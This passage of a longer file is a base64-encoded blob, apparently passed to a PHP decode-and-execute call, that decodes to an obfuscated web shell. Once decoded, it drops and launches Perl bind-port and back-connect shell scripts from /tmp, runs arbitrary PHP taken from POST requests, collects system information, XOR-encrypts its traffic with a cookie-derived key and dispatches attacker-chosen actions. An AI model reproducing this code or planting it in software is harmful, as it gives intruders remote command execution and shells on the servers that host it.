kaW1reWh3LCBAYmFzZTY0X2RlY29kZSgkeXBmenNicnZiYikpOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkaW1reWh3KTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRfUE9TVFsnbHNkZWUnXSA9PSAnYnBwJykgewogICAgICAgICAgICByc3hwbmIoIi90bXAvYnAucGwiLCAkdnBpaG92cmgpOwogICAgICAgICAgICAkcm5zdHJpZnZxY2VrID0gZmRwdXZrd3koInBlcmwgL3RtcC9icC5wbCAiIC4gJF9QT1NUWydkeHh4cmQnXSAuICIgMT4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgICAgIHNsZWVwKDEpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kcm5zdHJpZnZxY2VrXG4iIC4gZmRwdXZrd3koInBzIGF1eCB8IGdyZXAgYnAucGwiKSAuICI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsKICAgICAgICB9CiAgICAgICAgaWYgKCRfUE9TVFsnbHNkZWUnXSA9PSAnYmNwJykgewogICAgICAgICAgICByc3hwbmIoIi90bXAvYmMucGwiLCAkdWV1ZXN2Yyk7CiAgICAgICAgICAgICRybnN0cmlmdnFjZWsgPSBmZHB1dmt3eSgicGVybCAvdG1wL2JjLnBsICIgLiAkX1BPU1RbJ2R4eHhyZCddIC4gIiAiIC4gJF9QT1NUWydrdnVlZCddIC4gIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsKICAgICAgICAgICAgc2xlZXAoMSk7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRybnN0cmlmdnFjZWtcbiIgLiBmZHB1dmt3eSgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpIC4gIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25SQygpIHsKICAgIGlmICghQCRfUE9TVFsnbHNkZWUnXSkgewogICAgICAgICR2eXhwa3ZhbWMgPSBhcnJheSgKICAgICAgICAgICAgInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwKICAgICAgICAgICAgInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksCiAgICAgICAgICAgICJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScpCiAgICAgICAgKTsKICAgICAgICBlY2hvIHNlcmlhbGl6ZSgkdnl4cGt2YW1jKTsKICAgIH0gZWxzZSB7CiAgICAgICAgLy8g0JHQldCXIGV2YWw6INC40YHQv9C+0LvQvdGP0LXQvCDQutCw0LogUEhQLdGE0LDQudC7CiAgICAgICAgJHRlbXBGaWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICd0bXBfcGhwXycpOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR0ZW1wRmlsZSwgIjw/cGhwXG4iIC4gJF9QT1NUWydsc2RlZSddKTsKICAgICAgICBpbmNsdWRlICR0ZW1wRmlsZTsKICAgICAgICB1bmxpbmsoJHRlbXBGaWxlKTsKICAgIH0KfQoKCmZ1bmN0aW9uIGtrd2F1bygkZ3Z3Y211YmxsYnMpIHsKICAgIHJldHVybiBhYmJoZmpqeigkZ3Z3Y211YmxsYnMsICRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gImhoYWFrbndjIl0pOwp9CgpmdW5jdGlvbiBhYmJoZmpqeigkbnN3aWZveWV3d29qLCAkeHhxZ2dmdnQpIHsKICAgIGlmICghJHh4cWdnZnZ0KSB7CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9CgoKICAgICRuc3dpZm95ZXd3b2ogPSBiYXNlNjRfZW5jb2RlKCRuc3dpZm95ZXd3b2opOwogICAgJHh4cWdnZnZ0ID0gYmFzZTY0X2VuY29kZSgkeHhxZ2dmdnQpOwogICAgJHh6c2xseWFsZmd3aSA9ICcnOwogICAgJG5kcmtpdWcgPSAnJzsKICAgICRqZWRwcnd2YWVmID0gMDsKICAgIHdoaWxlICgkamVkcHJ3dmFlZiA8IG1iX3N0cmxlbigkbnN3aWZveWV3d29qKSkgewogICAgICAgIGZvciAoJHNzc3J5Z2ZqbyA9IDA7ICRzc3NyeWdmam8gPCBtYl9zdHJsZW4oJHh4cWdnZnZ0KTsgJHNzc3J5Z2ZqbysrKSB7CiAgICAgICAgICAgICR4enNsbHlhbGZnd2kgPSB3cmp6aGpmdSgkbnN3aWZveWV3d29qLCAkamVkcHJ3dmFlZikgXiB3cmp6aGpmdSgkeHhxZ2dmdnQsICRzc3NyeWdmam8pOwogICAgICAgICAgICAkbmRya2l1ZyAuPSBjaHIoJHh6c2xseWFsZmd3aSk7CiAgICAgICAgICAgICRqZWRwcnd2YWVmKys7CiAgICAgICAgICAgIGlmICgkamVkcHJ3dmFlZiA+PSBtYl9zdHJsZW4oJG5zd2lmb3lld3dvaikpIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKCiAgICB9CgogICAgcmV0dXJuIGJhc2U2NF9lbmNvZGUoJG5kcmtpdWcpOwoKCn0KCmZ1bmN0aW9uIHdyanpoamZ1KCRyc3pxdHVmLCAkbWhoY3BpaWxuaWdqKSB7CiAgICAkcHFqbWtyb2JxYSA9IG1iX3N1YnN0cigkcnN6cXR1ZiwgJG1oaGNwaWlsbmlnaiwgMSwgJ1VURi04Jyk7CiAgICBpZiAobWJfY2hlY2tfZW5jb2RpbmcoJHBxam1rcm9icWEsICdVVEYtOCcpKSB7CiAgICAgICAgJGFscGFxb2JhdmsgPSBtYl9jb252ZXJ0X2VuY29kaW5nKCRwcWpta3JvYnFhLCAnVVRGLTMyQkUnLCAnVVRGLTgnKTsKCiAgICAgICAgcmV0dXJuIGhleGRlYyhiaW4yaGV4KCRhbHBhcW9iYXZrKSk7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiBudWxsOwogICAgfQp9CgoKaWYgKGVtcHR5KCRfUE9TVFsnb2JrdXNwJ10pKSB7CiAgICBpZiAoaXNzZXQoJG1xdWxta3lpbSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJG1xdWxta3lpbSkpIHsKICAgICAgICAkX1BPU1RbJ29ia3VzcCddID0gJG1xdWxta3lpbTsKICAgIH0gZWxzZSB7CiAgICAgICAgJF9QT1NUWydvYmt1c3AnXSA9ICdTZWNJbmZvJzsKICAgIH0KfQppZiAoIWVtcHR5KCRfUE9TVFsnb2JrdXNwJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnb2JrdXNwJ10pKSB7CiAgICBjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnb2JrdXNwJ10pOwp9CmV4aXQ7'));